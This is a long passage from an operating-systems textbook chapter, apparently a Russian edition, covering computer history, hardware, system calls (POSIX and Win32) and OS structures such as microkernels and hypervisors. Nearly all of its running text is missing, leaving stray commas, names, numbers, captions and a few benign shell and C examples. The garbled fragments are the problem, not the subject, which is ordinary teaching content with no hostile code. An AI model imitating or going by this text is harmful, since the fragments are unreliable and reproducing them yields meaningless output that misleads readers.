Linux, Gnome KDE,
, Linux, X Window System,
.
, , . ,
.

1.1.2.

, , . , , ,
.
, , , , , , . ,
, -
, .

. , , ,
,
.
1, 2,
3 . . .
-

1.2.

27

, .
,
, , ,
, ,
( ) .
( ) ,
, -
, .
,
, (, . .). , ,
, ,
, .
() : .
,
: , . . ,
, ,
, , ,
,
, , , . ,
, .
.
, , .
.
- .
, , (,
). ,
,
, ,
. ,
, . .,
. .
, .
, ,
.

1.2.
.
.

28

1.


, . ,
,
.
,
, - .

(Charles Babbage, 17921871). ,
. ,

. , .
: ,
,
(Ada Lovelace),
. , Ada
.

1.2.1. (19451955):
, . (John
Atanasoff) (Clifford Berry)
, . 300 .
(Konrad Zuse) Z3 ,
. 1944 (
) () , (Howard Aiken) I,
(William Mauchley) (J. Presper Eckert) .
, ,
,
.
, , , ( , ). ,
, , . ( ) .
.
,
, ,
,
20 . ,

1.2.

29

,
,
.
1950- , .

, .

1.2.2. (19551965):

1950-
. , , ,
. , , , .
, ,
, . ,
,
. ( ),
( ), .
,
, .
- ,
,
, .
, , .
,
.

.
, ,
. . , ( )
, () , IBM 1401,
, ,
.
, , IBM 7094, . . 1.3.
,
, .

30

1.

. 1.3. : IBM 1401;


IBM 1401 ;
IBM 7094; IBM 7094 ;
IBM 1401; IBM 1401

(
), .
, , .
, .
, ,
IBM 1401 (
).
. 1.4. $JOB,
, . $FORTRAN,

. 1.4. FMS

1.2.

31

.
, , $LOAD,
. ( ,
,
.) $RUN,
,
. , $END .
.
,
, . ,
FMS (Fortran Monitor System) IBSYS ( , IBM IBM 7094).

1.2.3. (19651980):

1960- , . , IBM 7094,
,
,
IBM 1401,
.

. ,
,
,
, .
IBM ,
IBM System/360. - , , IBM 1401,
, IBM 7094.
( , , - . .).
, ,
, , , . (,
(Yogi Berra): ,
.) 360-
( ), ,
.
IBM, , 360- ,
, 370, 4300,

32

1.

3080 3090. zSeries,


.
IBM/360 ,
, , . IBM
,
.
.
(,
) , .

. , ,
OS/360,
: ,
IBM 1401 ,
, IBM 7094
.
,
, .
, . ,
.
IBM, - ,
.
,
FMS. , , ,
,
.
, , , ,
.
OS/360, (Fred Brooks),
(Brooks, 1995)
OS/360. ,
, ,
.
, OS/360
,
, .
, . . IBM 7094, - ,
-.
- ,
, , .
-

1.2.

33

80 90 % ,
- .
, , (. 1.5).
-,
. ,
100 % .

. 360-
.

. 1.5.


,
.

. , (spooling , Simultaneous Peripheral
Operation On Line,
), .
1401- , .

, . ,

.
,

, , .
.

,
. , , ,

34

1.

, ,
. , ,
(, 1) ,
(, ), .
, .
CTSS (Compatible Time Sharing System)
(M.I.T.) IBM
7094 (Corbato et al., 1962).
,
.
CTSS ,
Bell Labs General Electric (
)
, .
. ,
, . , MULTICS (MULTiplexed Information and
Computing Service ),
,
. ,
, GEE645,
1000 - 40 , . .
MULTICS .
, , Intel 386,
- . ,
,
, . ,
MULTICS .
, PL/I, PL/I ,
.
, MULTICS ,
XIX .
, MULTICS ,

, . Bell Labs
, General Electric
.
1

,
. . .

1.2.

35

.
Honeywell, General Electric,
80 . , MULTICS . General Motors, Ford
MULTICS 1990- ,
30
Honeywell .
XX ,
,
( , ) , ,
,
. , ,

,
, .
, , , , .
MULTICS.
, MULTICS ( UNIX ,
FreeBSD, Linux, IOS Android).
(Corbato et al., 1972; Corbato and Vyssotsky, 1965; Daley end Dennis, 1968; Organick, 1972;
Saltzer, 1974). MULTICS - www.
multicians.org, ,
.
-,
DEC PDP-1. PDP-1 ,
4 18- , 120 . (
5 % IBM 7094) . , IBM 7094,
. PDP ( IBM,
), PDP-11.
(Ken Thompson), Bell Labs,
MULTICS, - PDP-7,
,
MULTICS. UNIX,
,
. UNIX
(, Salus, 1994). 10.
, - () ,
. : System V AT&T BSD

36

1.

(Berkeley Software Distribution) .


.
, UNIX-,
(IEEE)
UNIX, POSIX,
UNIX. POSIX
, UNIX.
POSIX-
.
, 1987 UNIX, MINIX.
MINIX UNIX, POSIX.
MINIX 3, , .
(,
-)
. ,
, (Tanenbaum and Woodhull, 2006).
MINIX 3 ( ) www.minix3.org.
MINIX ( ) , (Linus Torvalds)
Linux. MINIX
, MINIX (, ). Linux
, ,
MINIX UNIX. , Linux ,
(Moody, 2001).

1.2.4. ( 1980 ):


(LSI, Large Scale Integration) ,
.
( ) - PDP-11, , ,
. -
, .
1974 , Intel Intel 8080
8- , , .
Intel
(Gary Kildall).

1.2.

37

8- ,
Shugart Associates, Intel 8080.
. , CP/M (Control Program for Microcomputers
).
CP/M, Intel , ,
.
Digital Research CP/M.
1977 Digital Research CP/M,
Intel 8080 Zilog Z80,
. ,
CP/M,
5 .
1980- IBM IBM PC (Personal Computer )1 .
IBM ,
. , , IBM PC.
Digital Research, .
IBM, .
, ,
IBM PC, .
IBM .
, , Seattle Computer Products, DOS (Disk
Operating System ).
DOS ( $50 000),
Seattle Computer Products .
DOS/BASIC, IBM. IBM ,
(Tim Paterson), , DOS Microsoft .
MS-DOS (MicroSoft Disk Operating System) IBM PC.
( , ) MS-DOS

CP/M ( , ).
1983 IBM PC/AT ( IBM PC) Intel 80286, MS-DOS
, CP/M . MS-DOS
80386 80486. 1

, IBM PC
, PC Personal
Computer ( , ) . PC . . .

38

1.

MS-DOS ,
,
UNIX. ( Microsoft UNIX
XENIX.)
CP/M, MS-DOS
, .
, 1960-
(Doug Engelbart) - (Stanford Research
Institute), . (GUI, Graphical User Interface) , ,
. Xerox PARC
.
(Steve Jobs), Apple,
, PARC, GUI
, Xerox.
Apple, . Lisa,
. , Apple
Macintosh, , ,
Lisa, , ,
,
- . Macintosh -,
, . 1999
Apple , Mach, BSD
UNIX. Mac OS X ,
UNIX, .
Microsoft MS-DOS, Macintosh. Windows, MS-DOS (
, ). 10 ,
1985 1995 , Windows ,
MS-DOS. 1995 Windows
Windows 95.
, MS-DOS ,
, MS-DOS. 1998
, Windows 98. , Windows 95 Windows 98,
, 16-
Intel.
Microsoft Windows NT (NT New
Technology ),
Windows 95.
32- . Windows NT (David

1.2.

39

Cutler), VAX VMS,


VMS NT ( ,
VMS, DEC, Microsoft.
). Microsoft ,
MS-DOS Windows, , . Windows NT 4.0
- , .
Windows NT 1999 Windows 2000.
Windows 98 Windows NT 4.0.
, Microsoft Windows 98 Windows Me (Millennium
edition ). 2001 Windows 2000, Windows XP. ,
Windows.
. Windows 2000 Microsoft Windows .
XP , Windows Server
2003 Windows 2008. ,
. Windows
. , ( ).
2007 Microsoft
Windows XP Vista. , . Microsoft , Windows XP,
.
, - ,
(, ).
Windows 7,
, Vista. Windows 7 ,
. Windows 7 
, Vista . 2012 Microsoft
Windows 8, , . ,
:
, , , , .
Windows 7.
UNIX ( ). UNIX
,
, , . Pentium
Windows
Linux.

40

1.

x86 , ,
8086, 1970- . AMD Intel , :
32- 64-,
, . .
, 8086,
35 . , ,
, 32- 64-
x86-32 x86-64.
FreeBSD UNIX,
BSD . Macintosh FreeBSD (OS X). UNIX
, RISC-.
,
iOS 7 Android.
UNIX, , , UNIX-
X Window System ( X11),
. , , ,
, . X11
, Gnome KDE, UNIX , -
Macintosh Microsoft Windows.
1980- ,
(Tanenbaum and Van Steen, 2007).


.
( ).
. ,
,
, ,
.

,
.
, ,
.
,
, -

1.2.

41

. ,
,
, . , ( )
,
. ,
.

1.2.5. ( 1990 ):

1940- , ,
,
. 1946 ,
40 . ,
.
- 1970- 1 . .
.
90 % .
,
. , ,
, - . ,
, -,
, .

1970- , 1990- , Nokia N9000,
: . 1997 Ericsson
GS88 Penelope .
, , ,
, .
Google Android, Apple iOS, .
: -
.

Symbian OS.
, Samsung, Sony Ericsson, Motorola Nokia. Symbian
, RIM Blackberry OS (
2002 ) Apple iOS ( iPhone 2007 ).
, RIM -, iOS . Symbian .
2011 Nokia Symbian

42

1.

Windows Phone. Apple RIM (


, Symbian),
Linux Android, Google 2008 .
Android , .
. ,
,
Java. ,
Android . Android
10.8.

1.3.
, . .
,
, ,
. ,
.
,
.
,
. 1.6. ,
- , .
, .

. 1.6.

1.3.

43

.
,
. ,
, . .
(Tanenbaum, 2012; Patterson and Hennessy, 2013).

1.3.1.
.
. : , ,
, , . , .
.
,
. x86 , ARM-, , , ,
x86.
, ,
. , ,

. ,
,
.
,
,
, . , ,
. ,
.
, , . ( )
, , .
,
, .
PSW (Program Status
Word). ,
, ,
( ) .
PSW ,
. PSW
-.
.

44

1.

, .
,
.

,
.
. , ,
, n n + 1 n + 2.
. . 1.7,
. .
, ,
,
.
, .

. 1.7. : ;

, . 1.7, . ,
: ,
, .
, , .
, ,

1.3.

45

, , , .
.
,
, . ,
,
.
, ,
, , :
( ).
PSW.
.
, .

, .
, . ,
, - . , ,
PSW.

,
. TRAP
.
, , .
,
,

. , : read.
, ,
.

,
.
, , .
.
(,
). , , ,
, .

1.3.2.
,
18 . , ,

46

1.

, Intel (Gordon Moore) ,


. , , .
,

.
:
?
,
.
.
- . , -
.

, . ,
Pentium 4 , (hyperthreading
Intel), x86
, SPARC, Power5, Intel Xeon, Intel
Core. . (
, , ,
; 2.) ,
(
), . .
,
.
,
.
,
. . -

,
, .
,
.
,
, ,
. , (. 1.8)
-, . ( .) , Intel
Xeon Phi Tilera TilePro, 60 .
, .

1.3.

47

. 1.8. : - (L2);
- L2

, , (Graphics Processing Unit, GPU).


. , . .
.
(,
), ,
.

1.3.3.
.
( ,
, ), .
,
. (. 1.9).
,
, ,
.

. 1.9. .

48

1.

.
, , .
, . 32 32 32-
64 64 64-. 1 .
( , ),
.
-, . -, 64 , 0
63 - 0, 64 127 - 1 . .
- , .
, ,
-. ,
- (cache hit -), -
. . -
, .
- - . ,
.
, .
, -
, , . . , ( ) ,
.
/home/ast/projects/minix3/src/kernel/clock.c ,
, ,
. ,
- (URL) (IP-).
.
.
1. ?
2. ?
3. , ?
4.
?
. ,

- , , . -
,

1.3.

49

. , 4096 - 64 32-
6- 17- -, 0-
5- -. ,
, , ,
. , - ( ),
, , ,
.
, -. ,
L1,
.
L1 , .
L1 16 . -, L2 .
- L1 L2 .
,
.
,
-. . 1.8, L2,
.
Intel. . 1.8, - L2.
AMD.
. , - L2 Intel
-, AMD
- L2 .
, . 1.9, . .
(), (Random Access Memory (RAM)). core memory
, 19501960- .
, .
, . , -,
.

(), , (Read
Only Memory (ROM)).
, .
- . . ,
. ,
, -.

50

1.

, , (), EEPROM
(Electrically Erasable PROM), -. , ,
, .
.
-
. ,
. -
. , , -
, .
CMOS-, .
CMOS- . CMOS- , , ( ),
,
. CMOS- , ,
, . CMOS , , -,
. ,

, , .

1.3.4.
() .
, , .
,
. , ,
. 1.10.
,
5400, 7200, 10 800 . ,
33 . . ,
.
.
, 512
. ,
. 1 .
5 10
.

1.3.

51

. 1.10.

, , .
5 10
. 50 / (
) 160 / ( ).
, , SSD (Solid State Disks).
, , -.
, ,
.
, .
3. , ,
.
, , , , . ,
(Memory Management Unit (MMU)), (. . 1.6).
MMU . ,
,
(context switch),
- MMU.
, .
.

1.3.5. -
, . -

52

1.

. . 1.6 , -
: .
, . ,
, .

,
( ) . , 11 206 2. ,
, . ,
, ,
. ,
, , .
, ,
, .
.
,
.
. , , -, , -, .
, , , SATA-
SATA-. SATA Serial ATA ( ATA),
ATA, , AT-. ,
AT,
IBM Personal Computer Advanced Technology ( , ),
80286, 6 1984 . ,

. , , ,
advanced (, ), ,
30 .
SATA . ,
,
.
, . ,
, ,
. .
,
OS X, Windows 7, Windows 8 Linux.

1.3.

53

,
. -
, Linux Windows. -
. , MINIX 3.

, .
. ,
.
UNIX- . :
, , , .
. Windows.

,
. ,
. ,
1,
USB IEEE 1394, .
.
,
, ,
( ). ,
,
. -, 5.

( , ), ,
. -
-,
, (,
).

- (I/O port space), . - (
IN OUT), . -,
.
, . .
1

,

. . .

54

1.

.
,
. -. , (
).
- ( ) , ,
. .
, ,
.
, (
). .
, , . ,
, .
, . . 1.11, -.
, .
. , ,
,
. , (
,
), ,
.
, ,
(
).

. 1.11. : a - ;
( ,
)

1.3.

55

, , ,
.
,
. . ( ,
) ,
,
.

. . 1.11, .
-
(Direct Memory Access (DMA)),

.
DMA, , ,
,
. DMA
, ,
. DMA -
5.
,
.
. , , ,
, ,
.
, ,
, , . , ,
. .

1.3.6.
, . 1.6, -, IBM PC.
(, , IBM PC)
.
- . -,
. x86-
, . 1.12.
(, -, ,
PCIe, PCI, USB, SATA DMI),
.
. PCI (Peripheral Component Interconnect
).

56

1.

PCIe Intel PCI,


ISA (Industry Standard
Architecture ).
PCIe
.
. 2004
. ,
. , ,
, ,
. PCIe . , ,
PCI, . , PCI 32-
32 . PCIe
, ,
(lane), .
,
32 .
, . , 32 32 .
- ,
, PCIe 35 .
, 16 PCIe 2.0 64 /. PCIe 3.0
, PCIe 4.0 .

PCI. . 1.12,
. , PCI ,
, , PCI-
, ,
.

DDR3, PCIe, DMI (Direct Media
Interface ).
, USB , DVD- SATA Ethernet-
PCIe. PCI-, PCI,
.
USB (Universal Serial Bus ) - . - USB 3.0
5 / ,
, IBM PC
ISA 8 /. USB
, ( ) 4 11 , USB- .

1.3.

57

DDR3

PCIe

DDR3

DMI
PCIe
PCIe
PCIe

SATA

PCIe

USB 2.0
USB 3.0
PCIe

Gigabit Ethernet

PCIe-
. 1.12. x86

USB , ()
- , ,
. USB 1.0
12 /, USB 2.0 480 /, USB 3.0 5 /. USB-
,
, USB,
.
SCSI (Small Computer System Interface )
,
, , . . 640 /.
, . 1.12,
, , . Intel Microsoft
PC- , plug and play
( ). , Apple Macintosh. plug and play -

-. , 1

58

1.

- 0x60 0x64; 6
- 0x3F0 0x3F7; 7
- 0x378 0x37A . .
. , ,
, , 4. ,
. - DIP, (jumpers).
- ,
, .
,
. , ,
, .
plug and play
-, -, ,
. ,
, , .

1.3.7.
. (
)1. ,
- BIOS (Basic Input Output System). BIOS
-,
, ,
, -. - ,
BIOS .
BIOS . ,
.
PCIe PCI
. (
plug and play). - (,
-, ). . , plug
and play, . ,
,
.
1

(system board main board).


. .

1.4.

59

BIOS , ,
, CMOS-.
,
BIOS. - (
- USB), , , .
.
, .
,
, , .
, .
BIOS,
. .
, -
( )
. , . ,

.

1.4.
.
,
.
.
.

1.4.1.
( ) , .
- . , , ,
. -,
- , .
, - . :
, .

.
.
,
.

60

1.

, .
,
. ,
.
OS/390,
OS/360.
UNIX, Linux.

1.4.2.
. , ,
.
, . ,
-. - . -
- . Solaris, FreeBSD, Linux Windows
Server 201x.

1.4.3.

, ,
. , ,
, , .
,
, ,
.


. ,
, . ,
,

. ,
. , Windows Linux.

1.4.4.
.
.

.

1.4.

61

.
, , . Linux, FreeBSD, Windows 7,
Windows 8 OS X Apple.
, . ,
, .

1.4.5.

,
, . , , PDA (Personal Digital Assistant
), ,
.
. ,
Android Google iOS Apple, . , GPS, ,
. , (apps)
USB-, .

1.4.6.
,
.
, . ,
, ,
, , DVD, MP3-. ,
.
, . ,
. Embedded Linux, QNX VxWorks.

1.4.7.
, , , .
,
, ,
,
.
, .
, .

62

1.

,
.
, , ,
. ,
,
.
,
. , , ,
, .
TinyOS.

1.4.8.
.
, . , , ,
.
. ,
,
. , ,
, .
( ),
. , -
, .
,
.
, , - , .
- . .
,
,
,
. eCos.
,

.
. ,
;
, .
,

1.5.

63

. ,
, .

1.4.9. -
-. -
,
. . - ,
, -
, .
- , , -.
.
- Java. ,
- Java Virtual Machine (JVM Java). Java- ( ),
JVM-.
Java-,
.
,
( , ).

1.5.

, , ,
. ,
, . .
, UNIX. , , .

1.5.1.
. ,
, .
, . , .
, ,
( ), , , ,
. , ,
, .

64

1.

2, ,
, ,
. -
( ),
. , .
( ) : , -
() .
, , - ,
.
,
, . ,
- . , . (
, ).
, , read,
, .
, ,
, ( ) ,
.
, ( )
, ,
, ,
.
, , , .
. , , ,
. , . ,
. ,
.
( ), , ,
. 1.13. , -
,
.
2.
, ,
( ),
-
.

1.5.

65

. 1.13. . A , B C.
B , D, E F

,
.
, , ,
. ,

,
, .
.
,
. ,

, , , . ,
, . .
, ,
. (,
)
, .
, , (User IDentification (UID)).
UID , .
UID, . - ,
(Group IDentification (GID)).
UID, UNIX
(superuser), Windows (administrator), ,
.
,
, ( ) , ,
1.
1

, , . (,
). . .

66

1.

,
2.

1.5.2.
, .
.
, .
. ( ), - . , .

. , , ,
.
, ,
. , , . ,
.
32- 64- , 232 264 .
,
, ,
? .
, , ,

, , . ,

, .
, .

, 3.

1.5.3.
,
, . ,
-
,
. , , ,
.
, , . .
, .

1.5.

67

,
( , ),
-.
. . ,
.
, . 1.14.

. 1.14.

, , ,
. (
), ,
. ,
, .

. , ,
,
.
, ,
,
. ,
, , -

68

1.

(). . 1.14 CS101


/Faculty/Prof.Brown/Courses/CS101.
, .
: Windows (/) (\), : \Faculty\Prof.Brown\Courses\CS101.
, UNIX.
, , .
, . 1.14, /Faculty/Prof.Brown , Courses/CS101 ,
. , , .
,
. . , , ,
. ,
.
UNIX .
,
-, DVD Blu-ray. ,
, USB-, USB- ( , ),

.
, UNIX
. , . 1.15, .
mount - .
- ,
. UNIX
,
, .
mount -
, . . 1.15,
- b, /b/x
/b/y. b - ,
-, , /b
-. (
:
.) ,
.
UNIX .
, - .
,
, .
:

1.5.

69

. ,
, .
, , 4,

.
, ,
.
/dev. , /dev/lp ( - line printer).

. 1.15. -: ;

,
, . ,
(. 1.16). A B , .
A B, ,
. . B ,
, . ,
UNIX . , ,
, , .

. 1.16. ,

.
4, 10 11.

1.5.4. -
. , ,

70

1.

? -: , , . .
.

-. -
,
-. , , -.
- 5.

1.5.5.
,
. , ,
-, . : ,
, .
,
UNIX. UNIX 9- . .
, ,
( ),
. , , , , , .
rwx- (read, write, execute). , rwxr-x--x
, , ,
( ),
( ). x . () ,
.
.
,
(, ). ,
, 9.

1.5.6.
, . , , , ,

. ,
UNIX,
shell. ,
.
, ,
, . ,

1.5.

71

sh, csh, ksh bash. ,


(sh).
. 1.
, ,
. ,

date

date. , .

.
,
, ,
date >file


sort <file1 >file2

sort, file1, file2.



. ,
cat file1 file2 file3 | sort >/dev/lp

cat
sort, .
sort /dev/lp, .
&, , . ,
cat file1 file2 file3 | sort >/dev/lp &

,
.
, .
UNIX (, Kernighan and Pike,
1984; Kochan Quigley, 2004; Robbins, 2005).

. ,
( ),
. Linux ,
, : Gnome KDE.
, X11. Windows 1

, , . . .

72

1.

(Windows Explorer) -
,
.

1.5.7.
,
(Ernst Haeckel) :
. , , ()
(). ,
, ,
, . .
, .
. ,
(, -, ,
, , - . .)
, . ,
. , ,
, , .
,
, ,
. , ,
.
, - . . ,
. , , -, .
, - .

, - . ,
- .
, ,
.
.
,
.
, .
- . . ( IBM 360),

1.5.

73

.
, . RISC-, (
) ,
.
Java-, .
. ,
,
.
.


. IBM 7090 7094, 1959
1964 , 128 .
,
, .
, FORTRAN COBOL, , .
- (PDP-1),
4096 18- , . - ,
.
1980- , 4 , .
, (8080, Z80,
8086), .
, , , C, C++, Java . -
, , , Java Java- ,
Java, .


IBM 7090/7094 ,
,
. IBM 360
, , (
). .
, -,
, .

74

1.

PDP-1 PDP-8 , PDP11,


UNIX.
,
Intel 8080, , ,
.
Intel 80286, , .

.
. , ,
, .
,
,
.
-,
,

. .
,
. -
.
. , -
4 . .

, ,
. ,
.
, , , ,
- .


. , ,
. . ,
IBM 1956 RAMAC (RAndoM Access,
). 4 2
5 7- , . 35 .

1.6.

75

, ,
, .
, .
CDC 6600,
1964 ,
.
, , , ,
, data .
.
, , ,
MULTICS.
-,
. PDP-11 1970
RK05 2,5 ,
IBM RAMAC, 40 5 .
. ,
CP/M,
.


( 3) ,
,
. ,
, - .
,
. MULTICS ,
. UNIX- Windows-.
, , (
, , . .),
, .
,
,
, .

1.6.
, : .
, , : , ,

76

1.

.
.

. - ,
, .
( ).
(
) -
( UNIX , :
, ,
).
. , ,
. , , POSIX (
9945-1), UNIX, System V, BSD, Linux, MINIX 3 . .,
,
, .
,
, , ,
, C.
. . - , ,
, . ,
.
, . ,
, , .
,
read. , :
, , ,
. ,
C ,
: read. C
:
count = read(fd, buffer, nbytes);

( )
, count.
nbytes, , , ,
.
-
, count 1, -

1.6.

77

errno.
, .
. read. ,
read,
read, (. 1.17, 13).

. 1.17. 11 read(fd, buffer, nbytes)

C C++ , ( printf ).
, , (
&), .
( 4).
.
, , , , ,
( 5). TRAP
, , ( 6). TRAP
,
,
.

78

1.

TRAP . -, , .
. -, TRAP
, .
TRAP ( . 1. 17)
, .

, ( 7).
( 8).
, , , ,
TRAP ( 9). ( 10).
read, , , ( 11).
( ),
, ,
read. .
9 , , .
, . ,
, .
, . , ,
9- 11-.
POSIX, , , , . POSIX 100 ,
.
. 1.1.
.
, , ,
(
, ,
). , , , , , ,
.
, POSIX . POSIX , , ,
: ,
- .

1.6.

79

( ),
.
POSIX , . ,
,
.
1.1. POSIX1


pid = fork()

pid = waitpid(pid, &statloc, options)

s = execve(name, argv, environp)

exit(status)


fd = open(file, how...)

s = close(fd)

n = read(fd, buffer, nbytes)

n = write(fd, buffer, nbytes)

position = lseek(fd, offset, whence)

s = stat(name, &buf)


s = mkdir(name, mode)

s = rmdir(name)

s = link(name1, name2)

name2,
name1

s = unlink(name)

s = mount(special, name, flag)

s = umount(special)

s = chdir(dirname)

s = chmod(name, mode)

s = kill(pid, signal)

seconds = time(&seconds)

, 1 1970

s 1. : pid id , fd ,
n , position seconds .
.

80

1.

1.6.1.
. 1.1 .
fork (). fork POSIX .
, , . .
fork (
) . ,
,
. ( , ,
.) fork
PID .
PID, , , .
fork
, .
. , , ,
, ,
. waitpid, , (
, ). waitpid
,
1. waitpid , , statloc,
( ).
.
, fork .
, . , execve,
, . (
exec,
.
.) 1.1
fork, waitpid execve .
1.1. ,
#define TRUE 1
while (TRUE) {
/* */
type_prompt( );
/* */
read_command(command, parameters); /* */
if (fork( ) != 0) {
/* */
/* */
waitpid(-1, &status, 0); /* */
} else {
/* */

1.6.

81

execve(command, parameters, 0); /* command */


}
}

, TRUE 1.
execve : , .
. ,
execl, execv, execle execve, .
exec ,
.
:
cp file1 file2

file1 file2. cp
.
cp ( )
main(argc, argv, envp)

argc , .
argc 3.
argv . i
i- .
argv[0] cp, argv[1] file1, argv[2]
file2.
main envp
, = ,
, .
, .
(, , ). 1.1
, execve .
exec , ( ) POSIX .
. exit,
, .
(0255), statloc waitpid.
UNIX : (
), () .
. 1.18, , .
.
. -

82

1.

. 1.18. :
,

. brk,
. POSIX ,
malloc. malloc ,
, , -
POSIX brk.

1.6.2.
.
, ,
, .
,
. ( ) O_RDONLY,
O_WRONLY O_RDWR, , ,
. O_CREAT.

. close,
open.
, , read write.
read , write .
,
. . () ,
() . lseek
, read write
.
lseek : ,
, , , -

1.6.

83

. lseek
( ) .
UNIX : (
, , . ., ), , .
stat.
, ,
, .
fstat.

1.6.3.
,
, , . mkdir rmdir
. link.
, .
, , ,
.
, , .

; , ,
, , .
.
, link, ,
. 1.19, a. ast jim
, . ast ,

link("/usr/jim/memo", "/usr/ast/note");

memo jim ast note.


/usr/jim/memo /usr/ast/note .
, , /usr, /user, /home
- , .
, , link, ,
. UNIX ,
i-. i-
i- (i-nodes). i- (i-node inode) ,
, . .
, (i-, ASCII-). UNIX
16 : 2 i- 14 .
,
- (i-, ASCII-).
. 1.19 mail i- 16 . . link
, , , i-
. . 1.19, i- (70) ,

84

1.

.
unlink , .
, UNIX , (
i- ),
.

. 1.19. : /usr/jim/memo ast;


, mount . : ( )
, ()
,
( ).
USB- .
mount USB- (. 1.20). C , () , :
mount("/dev/sdb0", "/mnt", 0);

USB- 0,
, , ,
.

. 1.20. : a mount; mount

mount 0
, , .
, . mount
, , .

1.6.

85

-, ( partition) .
-.
, umount.

1.6.4.
.
. chdir .
chdir("/usr/ast/test");

xyz /usr/ast/test/xyz.
.
UNIX , i-
. - (read-write-execute) , . chmod .
, , ,
:
chmod("file", 0644);

kill . , . ,
( :
kill , ).
POSIX . , time
, 0 (,
) 1 1970 . , 32-
, , time, 232 1 (, unsigned
integer). 136 . ,
2106 32- UNIX ,
2000 (Y2K). 32- UNIX-,
2106 64-.

1.6.5. Windows Win32 API


UNIX.
Windows. Windows UNIX
. UNIX , ,
.
Windows , , . ,

86

1.

- , .
, ,
USB-. ,
.
, UNIX,
,
.
, Windows . UNIX
(, read)
( read), .
, , , (. 1.17).
POSIX 100 .
Windows . ,
. Microsoft , Win32 API
(Application Programming Interface ).
,
.
Windows, Windows 95. API-
, Microsoft
( ),
. Win32 , Windows ,
. Win32
, Windows. Win32 Windows.
Win32 API .
, , ,
. , Windows ,
( ), . ,
Windows, ,
. Windows
, , Win32, Microsoft , . ,
( ).
Win32 API , , , , , ,
.
( ,
Windows), ,
.
?
, , , ,
. , Win32 API,

1.6.

87

(, Hart, 1997; Rector and


Newcomer, 1997; Simon, 1997).
Win32 API
, ,

UNIX, . 1.1. . 1.2.
. CreateProcess .
UNIX- fork execve. . Windows
, UNIX,
. - . WaitForSingleObject
. .
, .
ExitProcess.
1.2. Win32 API, UNIX,
. 1.1. , Windows
,
UNIX
UNIX
fork
waitpid
execve
exit
open
close
read
write
lseek
stat
mkdir
rmdir
link
unlink
mount
umount
chdir
chmod

Win32
CreateProcess
WaitForSingleObject

ExitProcess
CreateFile
CloseHandle
ReadFile
WriteFile
SetFilePointer
GetFileAttributesEx
CreateDirectory
RemoveDirectory

DeleteFile

SetCurrentDirectory

kill
time

GetLocalTime



CreateProcess=fork+execve









Win32

Win32
Win32

Win32 ( NT )
Win32


UNIX-, .
, , , UNIX.

88

1.

SetFilePointer GetFileAttributesEx
.
Windows ,
CreateDirectory RemoveDirectory . , SetCurrentDirectory.
GetLocalTime.
Win32 , , , , , , UNIX. , Win32 , UNIX,
. Windows Vista ,
1. Windows 7 8
.
, Win32 . Win32
.
16- , Windows 3.x.

1.7.
, , (
, ), . ( ) ,
.
,
, . , , , , .

1.7.1.
, .
. ,
. ,
- , .

, ,
, . ,
.
1

, NTFS, Windows NT,


Windows 2000, Windows XP, Windows Vista Windows 7. . .

1.7.

89

( , ),
, . , ,

( , ,
).
. ( ), ,
(, ),
trap. ( 6
. 1.17). ,
.
, k , k ( 7 . 1.17).
:
1. , .
2. , .
3. , .
, .
, ,
. ,
(. 1.21).

. 1.21.

, , ,
- . . UNIX
. Windows DLL- (Dynamic-Link

90

1.

Libraries ). .dll, C:\Windows\system32 Windows 1000.

1.7.2.
, . 1.21,
, . , , THE,
Technische Hogeschool Eindhoven . (E. W. Dijkstra)
1968 . THE
Electrologica X8, 32 K 27- .
. 1.3, . 0 ( ),
.
0 ,
,
. , 0
.
1.3. THE

1 .
512 ,
(), .
, ,
. 1
, , ,
.
2 ( ).
. 3 - .
-,
. 4 ,
, , -.
5.
MULTICS.
MULTICS ,

1.7.

91

(, , ). ,
, TRAP,
,
. MULTICS
,
( )
, .
, THE , , MULTICS
.
,
. ,

n, n + 1,
.

1.7.3.
,
.
, .
, , . :
, .
1000
(, Basilli and Perricone, 1984; Ostrand and Weyuker, 2002).
, , 10 1000 .
, , 5 000 000 ,
, 10 000 50 000 . ,
, , .
,
( ), ,
, ,
.
, ,
,
. ,

. ,
, ,

92

1.

. ,
, .
, ,
.

(Haertig et al., 1997; Heiser et al., 2006; Herder et al., 2006; Hildebrand, 1992;
Kirsch et al., 2005; Liedtke, 1993, 1995, 1996; Pike et al., 1992; Zuberi et al., 1999). OS X, Mach (Accetta et al., 1986),

. , , ,
. Integrity, K42, L4, PikeOS,
QNX, Symbian MINIX 3. MINIX 3, , . MINIX 3
POSIX- ,
www.minix3.org (Giuffrida et al., 2012; Giuffrida et al., 2013; Herder et
al., 2006; Herder et al., 2009; Hruby et al., 2013).
MINIX 3 12 000 C
1400 , , .
,
( )
40 , .
,
. MINIX 3
. 1.22, Sys.
, .
.
, .
. ,
- . , -,
, , -
. , ,
. , -, .
( ),
.
, , . .
( ), , . . -

1.7.

93

. 1.22. MINIX 3


, POSIX.
, , read,
, , .
(reincarnation server), . -
. ,
.
. ,
-.
.

. ,
,
. ,
, , . , .
, , , , .
, .

. , ,
. , , ,
. , , .

94

1.

1.7.4. -
: , - , ,
. -. , .
.
. , , , ,
. .
, , .
, (. 1.23). , ,
, ,
, .
, ,
: . , ,
, , .

. 1.23. - ,

, ,
, , ,
- , .
. - , - .
- .

1.7.5.
OS/360 .
IBM/360
,
IBM,
. -

1.7.

95

TSS/360, - ,
,
. ,
50 (Graham, 1970).

VM/370
IBM Scientific Center () , IBM
. , CP/CMS,
VM/370 (Seawright and MacKinnon, 1979), : ,
-, , -,
, . VM/370
.
, , ,
, (. 1.24). ,
,
. . ,
, -, ,
.

. 1.24. VM/370 CMS

, , .
,
. VM/370
OS/360 ,
CMS (Conversational Monitor System
) .
CMS
,
, VM/370,
, . CMS ,

96

1.

. - VM/370, .
,
.
z/VM , , CMS. , zSeries
Linux, IBM.


IBM
, Oracle Hewlett-Packard, ,
, ,
. ,
.
. , -, FTP- ,
.

.
-.
1 ( , )
( , , -).
, - (-),
, , .
, ,
, (
).
,
, Windows Linux,
. . 1.25, ,
(type 1 hypervisor),
- . .
1

. . .

1.7.


Windows

Linux

Excel Word Mplayer Apollon

...

97

. 1.25. : 1; , 2;
, 2 ()

, . ,
(Popek and Goldberg, 1974). .
, ( ), , PSW
-, ,
, . , Pentium,
,
.
,
x86. , Pentium, Bochs,
,
- .
1990- - , Disco (Bugnion et al., 1997) Xen
(Barham et al., 2003).
(, VMware Workstation Xen), .
VMware Xen KVM ( Linux), VirtualBox ( Oracle) Hyper-V (
Microsoft).
Bochs
,
. , (machine
simulators) (. 1.25, ). ,
(binary translation), , ,
,
- ,
.

(. 1.25, ) . , , VMware

98

1.

Workstation, (
). 2, (
) , ,
